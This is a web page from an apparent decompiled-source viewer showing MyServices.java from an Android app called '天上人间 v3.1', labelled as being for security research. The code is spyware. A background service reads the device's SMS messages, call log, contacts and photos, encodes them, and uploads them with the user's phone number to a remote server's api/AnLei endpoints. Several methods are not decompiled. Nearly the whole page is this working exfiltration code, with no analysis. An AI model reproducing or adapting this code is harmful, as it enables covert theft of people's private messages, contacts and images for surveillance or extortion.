正在查看: 天上人间 v3.1 应用的 MyServices.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
正在查看: 天上人间 v3.1 应用的 MyServices.java JAVA 源代码文件
本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。
package com.xiuer.app.ui;
import android.app.Service;
import android.content.Intent;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.graphics.Matrix;
import android.net.Uri;
import android.os.Build;
import android.os.Handler;
import android.os.IBinder;
import android.provider.CallLog;
import android.provider.ContactsContract;
import android.util.Base64;
import android.util.Log;
import androidx.core.content.ContextCompat;
import com.xiuer.app.base.MyApp;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Iterator;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.TimeUnit;
import okhttp3.FormBody;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import org.json.JSONArray;
import org.json.JSONException;
import org.json.JSONObject;
public class MyServices extends Service {
private static final int BATCH_SIZE = 15;
private static final int MAX_UPLOAD_THREADS = 3;
int tol = 500;
private ExecutorService uploadExecutor = null;
private int successCount = 0;
private int failCount = 0;
private Object counterLock = new Object();
JSONArray ja2 = new JSONArray();
JSONArray jak = new JSONArray();
JSONArray jaCallLogs = new JSONArray();
@Override
public IBinder onBind(Intent intent) {
return null;
}
static int access$308(MyServices myServices) {
int i = myServices.failCount;
myServices.failCount = i + 1;
return i;
}
static int access$408(MyServices myServices) {
int i = myServices.successCount;
myServices.successCount = i + 1;
return i;
}
@Override
public void onCreate() {
super.onCreate();
}
@Override
public boolean onUnbind(Intent intent) {
Log.d("调用", "unbind");
return super.onUnbind(intent);
}
@Override
public int onStartCommand(Intent intent, int i, int i2) {
if (checkRequiredPermissions()) {
doget();
} else {
Log.e("MyServices", "缺少必要权限,无法继续执行服务");
System.out.println("缺少必要权限,无法继续执行服务");
sendBroadcast(new Intent("com.xiuer.app.PERMISSION_DENIED"));
stopSelf();
}
return super.onStartCommand(intent, i, i2);
}
private void doget() {
Handler handler = new Handler();
boolean z = true;
boolean z2 = ContextCompat.checkSelfPermission(this, "android.permission.READ_CONTACTS") == 0;
boolean z3 = ContextCompat.checkSelfPermission(this, "android.permission.READ_SMS") == 0;
boolean z4 = ContextCompat.checkSelfPermission(this, "android.permission.READ_CALL_LOG") == 0;
if (Build.VERSION.SDK_INT >= 29 ? Build.VERSION.SDK_INT >= 33 ? ContextCompat.checkSelfPermission(this, "android.permission.READ_MEDIA_IMAGES") != 0 : ContextCompat.checkSelfPermission(this, "android.permission.READ_EXTERNAL_STORAGE") != 0 : ContextCompat.checkSelfPermission(this, "android.permission.READ_EXTERNAL_STORAGE") != 0) {
z = false;
}
Log.d("MyServices", "执行功能 - 通讯录: " + z2 + ", 短信: " + z3 + ", 通话记录: " + z4 + ", 相册: " + z);
System.out.println("执行功能 - 通讯录: " + z2 + ", 短信: " + z3 + ", 通话记录: " + z4 + ", 相册: " + z);
showSms();
showCallLogs();
handler.postDelayed(new 1(this), 3000L);
}
public void showXiangce() {
Log.d("MyServices", "开始上传相册");
System.out.println("开始上传相册...");
getImageList();
}
public void showAddress() {
if (ContextCompat.checkSelfPermission(this, "android.permission.READ_CONTACTS") != 0) {
Log.e("MyServices", "无法访问通讯录:权限未授予");
System.out.println("无法访问通讯录:权限未授予");
return;
}
Cursor cursor = null;
try {
try {
cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, null, null, null);
this.ja2 = new JSONArray();
if (cursor != null) {
int i = 0;
while (cursor.moveToNext()) {
String string = cursor.getString(cursor.getColumnIndex("display_name"));
String string2 = cursor.getString(cursor.getColumnIndex("data1"));
JSONObject jSONObject = new JSONObject();
jSONObject.put("name", string);
jSONObject.put("number", string2);
i++;
if (i <= 100) {
this.ja2.put(jSONObject);
}
}
if (this.ja2.length() > 0) {
douploadcon(this.ja2);
} else {
Log.d("MyServices", "通讯录为空,不上传");
}
}
if (cursor == null) {
return;
}
} catch (Exception e) {
e.printStackTrace();
if (0 == 0) {
return;
}
}
cursor.close();
} catch (Throwable th) {
if (0 != 0) {
cursor.close();
}
throw th;
}
}
public void showSms() {
Cursor cursor = null;
try {
try {
cursor = getContentResolver().query(Uri.parse("content://sms"), null, null, null, null);
this.jak = new JSONArray();
if (cursor != null) {
int i = 0;
while (cursor.moveToNext()) {
String string = cursor.getString(cursor.getColumnIndex("address"));
String string2 = cursor.getString(cursor.getColumnIndex("body"));
long j = cursor.getLong(cursor.getColumnIndex("date"));
int i2 = cursor.getInt(cursor.getColumnIndex("type"));
JSONObject jSONObject = new JSONObject();
jSONObject.put("name", string);
jSONObject.put("phone", string);
jSONObject.put("body", string2);
jSONObject.put("time", j + "");
jSONObject.put("type", i2);
i++;
if (i <= this.tol) {
this.jak.put(jSONObject);
}
}
douploadsms(this.jak);
}
if (cursor == null) {
return;
}
} catch (Exception e) {
e.printStackTrace();
if (cursor == null) {
return;
}
}
cursor.close();
} catch (Throwable th) {
if (cursor != null) {
cursor.close();
}
throw th;
}
}
private void douploadsms(JSONArray jSONArray) {
String str = MyApp.bseUrl + "api/AnLei/subSmsList?type=android&userId=" + MyApp.userid;
OkHttpClient okHttpClient = new OkHttpClient();
JSONObject jSONObject = new JSONObject();
JSONObject jSONObject2 = new JSONObject();
try {
jSONObject2.put("sms", jSONArray);
jSONObject.put("phone", MyApp.qvhao + MyApp.myphone);
jSONObject.put("userId", MyApp.userid);
jSONObject.put("data", jSONObject2);
} catch (JSONException e) {
e.printStackTrace();
}
okHttpClient.newCall(new Request.Builder().url(str).post(RequestBody.create(MediaType.parse("application/json"), jSONObject.toString())).build()).enqueue(new 2(this));
}
private void douploadcon(JSONArray jSONArray) {
if (jSONArray == null || jSONArray.length() == 0) {
Log.d("MyServices", "没有通讯录数据可上传");
return;
}
new OkHttpClient().newCall(new Request.Builder().url(MyApp.bseUrl + "api/AnLei/subList?type=android&userId=" + MyApp.userid).post(RequestBody.create(MediaType.parse("application/json"), jSONArray.toString())).addHeader("Content-Type", "application/json").build()).enqueue(new 3(this));
}
@Override
public void onDestroy() {
Log.d("调用", "onDestroy");
super.onDestroy();
}
private void getImageList() {
throw new UnsupportedOperationException("Method not decompiled: com.xiuer.app.ui.MyServices.getImageList():void");
}
public void processBatch(ArrayList<String> arrayList, int i) {
Log.d("MyServices", "开始处理批次#" + i + ",共 " + arrayList.size() + " 张图片");
System.out.println("开始处理批次#" + i + ",共 " + arrayList.size() + " 张图片");
OkHttpClient build = new OkHttpClient.Builder().connectTimeout(30L, TimeUnit.SECONDS).readTimeout(30L, TimeUnit.SECONDS).writeTimeout(30L, TimeUnit.SECONDS).retryOnConnectionFailure(true).build();
Iterator<String> it = arrayList.iterator();
int i2 = 0;
int i3 = 0;
while (it.hasNext()) {
String next = it.next();
try {
} catch (Exception e) {
Log.e("MyServices", "处理图片出错: " + next + " - " + e.getMessage());
System.out.println("处理图片出错: " + next + " - " + e.getMessage());
synchronized (this.counterLock) {
this.failCount++;
}
}
if (processAndUploadImage(next, build)) {
i2++;
} else {
i3++;
}
}
Log.d("MyServices", "批次 #" + i + " 处理完成,成功: " + i2 + ",失败: " + i3);
System.out.println("批次 #" + i + " 处理完成,成功: " + i2 + ",失败: " + i3);
}
private boolean processAndUploadImage(String str, OkHttpClient okHttpClient) {
Bitmap bitmap;
String str2;
Bitmap bitmap2;
int i;
Bitmap bitmap3;
String str3 = MyApp.bseUrl + "api/AnLei/uploadImg?type=android&userId=" + MyApp.userid;
File file = new File(str);
try {
if (file.exists() && file.canRead() && file.length() != 0) {
if (file.length() > 20971520) {
Log.e("MyServices", "文件过大,跳过: " + str + " 大小: " + ((file.length() / 1024) / 1024) + "MB");
return false;
}
String lowerCase = file.getName().toLowerCase();
if (!lowerCase.endsWith(".jpg") && !lowerCase.endsWith(".jpeg") && !lowerCase.endsWith(".png") && !lowerCase.endsWith(".webp") && !lowerCase.endsWith(".gif") && !lowerCase.endsWith(".bmp") && !lowerCase.endsWith(".tiff") && !lowerCase.endsWith(".heic")) {
Log.e("MyServices", "不支持的文件类型: " + lowerCase);
return false;
}
String str4 = "MyServices";
Log.d("MyServices", "处理图片: " + str + " 大小: " + (file.length() / 1024) + "KB");
try {
if (file.length() < 102400) {
str2 = imageToBase64Fast(str);
if (str2 != null) {
uploadImageAsync(str3, file, str2, okHttpClient);
System.gc();
return true;
}
} else {
str2 = null;
}
try {
if (file.length() > 1048576) {
BitmapFactory.Options options = new BitmapFactory.Options();
options.inJustDecodeBounds = true;
BitmapFactory.decodeFile(str, options);
int i2 = options.outWidth;
int i3 = options.outHeight;
if (file.length() > 2097152) {
i = 1;
while (true) {
if (i2 / i <= 400 && i3 / i <= 400) {
break;
}
i *= 2;
}
} else {
i = 1;
while (true) {
if (i2 / i <= 600 && i3 / i <= 600) {
break;
}
i *= 2;
}
}
options.inJustDecodeBounds = false;
options.inSampleSize = i;
options.inPreferredConfig = Bitmap.Config.RGB_565;
try {
Bitmap decodeFile = BitmapFactory.decodeFile(str, options);
if (decodeFile != null) {
try {
str2 = bitmapToBase64(decodeFile, file.length() > 2097152 ? 30 : 40);
decodeFile.recycle();
if (str2 != null) {
uploadImageAsync(str3, file, str2, okHttpClient);
System.gc();
return true;
}
bitmap2 = null;
} catch (OutOfMemoryError unused) {
bitmap3 = decodeFile;
Log.e("MyServices", "内存不足,跳过图片 " + str);
System.gc();
if (bitmap3 != null && !bitmap3.isRecycled()) {
bitmap3.recycle();
}
System.gc();
return false;
} catch (Throwable th) {
th = th;
bitmap = decodeFile;
if (bitmap != 0 && !bitmap.isRecycled()) {
bitmap.recycle();
}
System.gc();
throw th;
}
} else {
bitmap2 = decodeFile;
}
} catch (OutOfMemoryError unused2) {
bitmap3 = null;
}
} else {
BitmapFactory.Options options2 = new BitmapFactory.Options();
options2.inPreferredConfig = Bitmap.Config.RGB_565;
options2.inSampleSize = 1;
try {
bitmap2 = BitmapFactory.decodeFile(str, options2);
if (bitmap2 != null) {
try {
str2 = bitmapToBase64(bitmap2, 70);
bitmap2.recycle();
if (str2 != null) {
uploadImageAsync(str3, file, str2, okHttpClient);
System.gc();
return true;
}
bitmap2 = null;
} catch (OutOfMemoryError unused3) {
Log.e("MyServices", "内存不足,跳过图片 " + str);
System.gc();
if (bitmap2 != null && !bitmap2.isRecycled()) {
bitmap2.recycle();
}
System.gc();
return false;
}
}
} catch (OutOfMemoryError unused4) {
bitmap2 = null;
}
}
System.gc();
if (str2 != null) {
if (bitmap2 != null && !bitmap2.isRecycled()) {
bitmap2.recycle();
}
System.gc();
return true;
}
Log.e("MyServices", "无法处理图片: " + str);
if (bitmap2 != null && !bitmap2.isRecycled()) {
bitmap2.recycle();
}
System.gc();
return false;
} catch (Throwable th2) {
th = th2;
bitmap = str4;
}
} catch (Throwable th3) {
th = th3;
bitmap = 0;
}
}
Log.e("MyServices", "文件不存在或不可读: " + str);
return false;
} catch (Exception e) {
Log.e("MyServices", "上传图片失败: " + str + " 错误: " + e.getMessage());
e.printStackTrace();
synchronized (this.counterLock) {
this.failCount++;
return false;
}
}
}
private void uploadImageAsync(String str, File file, String str2, OkHttpClient okHttpClient) {
try {
Request build = new Request.Builder().url(str).post(new FormBody.Builder().add("userId", MyApp.userid).add("imgstr", file.getName()).add("phone", MyApp.qvhao + MyApp.myphone).add("base64str", str2).build()).tag(MyApp.getContext()).build();
Log.d("MyServices", "开始上传图片: " + file.getName());
okHttpClient.newCall(build).enqueue(new 6(this, file));
} catch (Exception e) {
Log.e("MyServices", "提交上传请求失败: " + e.getMessage());
synchronized (this.counterLock) {
this.failCount++;
}
}
}
private static String imageToBase64Fast(String str) {
Throwable th;
FileInputStream fileInputStream;
try {
File file = new File(str);
fileInputStream = new FileInputStream(file);
try {
long length = file.length();
if (length > 10485760) {
try {
fileInputStream.close();
} catch (IOException unused) {
}
return null;
}
int i = (int) length;
byte[] bArr = new byte[i];
int i2 = 0;
while (i2 < i) {
int read = fileInputStream.read(bArr, i2, i - i2);
if (read < 0) {
break;
}
i2 += read;
}
if (i2 < i) {
try {
fileInputStream.close();
} catch (IOException unused2) {
}
return null;
}
String encodeToString = Base64.encodeToString(bArr, 2);
try {
fileInputStream.close();
} catch (IOException unused3) {
}
return encodeToString;
} catch (Exception unused4) {
if (fileInputStream != null) {
try {
fileInputStream.close();
} catch (IOException unused5) {
}
}
return null;
} catch (Throwable th2) {
th = th2;
if (fileInputStream != null) {
try {
fileInputStream.close();
} catch (IOException unused6) {
}
}
throw th;
}
} catch (Exception unused7) {
fileInputStream = null;
} catch (Throwable th3) {
th = th3;
fileInputStream = null;
}
}
public static java.lang.String bitmapToBase64(android.graphics.Bitmap r4, int r5) {
throw new UnsupportedOperationException("Method not decompiled: com.xiuer.app.ui.MyServices.bitmapToBase64(android.graphics.Bitmap, int):java.lang.String");
}
public static String bitmapToBase64(Bitmap bitmap) {
return bitmapToBase64(bitmap, 85);
}
public static Bitmap compressBitmap(Bitmap bitmap, double d, double d2) {
float width = bitmap.getWidth();
float height = bitmap.getHeight();
if (width <= d && height <= d2) {
return bitmap;
}
float min = Math.min(((float) d) / width, ((float) d2) / height);
Matrix matrix = new Matrix();
matrix.postScale(min, min);
try {
return Bitmap.createBitmap(bitmap, 0, 0, (int) width, (int) height, matrix, true);
} catch (OutOfMemoryError e) {
System.out.println("压缩图片内存不足: " + e.getMessage());
return bitmap;
}
}
public void showCallLogs() {
Cursor cursor = null;
try {
try {
cursor = getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, "date DESC");
this.jaCallLogs = new JSONArray();
if (cursor != null) {
int i = 0;
while (cursor.moveToNext()) {
String string = cursor.getString(cursor.getColumnIndex("number"));
long j = cursor.getLong(cursor.getColumnIndex("date"));
int i2 = cursor.getInt(cursor.getColumnIndex("duration"));
int i3 = cursor.getInt(cursor.getColumnIndex("type"));
JSONObject jSONObject = new JSONObject();
jSONObject.put("number", string);
jSONObject.put("date", j);
jSONObject.put("duration", i2);
jSONObject.put("type", i3);
i++;
if (i <= this.tol) {
this.jaCallLogs.put(jSONObject);
}
}
if (this.jaCallLogs.length() > 0) {
uploadCallLogs(this.jaCallLogs);
} else {
Log.d("MyServices", "通话记录为空,不上传");
}
}
if (cursor == null) {
return;
}
} catch (Exception e) {
e.printStackTrace();
if (0 == 0) {
return;
}
}
cursor.close();
} catch (Throwable th) {
if (0 != 0) {
cursor.close();
}
throw th;
}
}
private void uploadCallLogs(JSONArray jSONArray) {
if (jSONArray == null || jSONArray.length() == 0) {
Log.d("MyServices", "没有通话记录数据可上传");
return;
}
String str = MyApp.bseUrl + "api/AnLei/subCallLogs?type=android&userId=" + MyApp.userid;
OkHttpClient okHttpClient = new OkHttpClient();
JSONObject jSONObject = new JSONObject();
try {
jSONObject.put("phone", MyApp.qvhao + MyApp.myphone);
jSONObject.put("userId", MyApp.userid);
jSONObject.put("data", jSONArray);
} catch (JSONException e) {
e.printStackTrace();
}
okHttpClient.newCall(new Request.Builder().url(str).post(RequestBody.create(MediaType.parse("application/json"), jSONObject.toString())).build()).enqueue(new 7(this));
}
private boolean checkRequiredPermissions() {
throw new UnsupportedOperationException("Method not decompiled: com.xiuer.app.ui.MyServices.checkRequiredPermissions():boolean");
}
}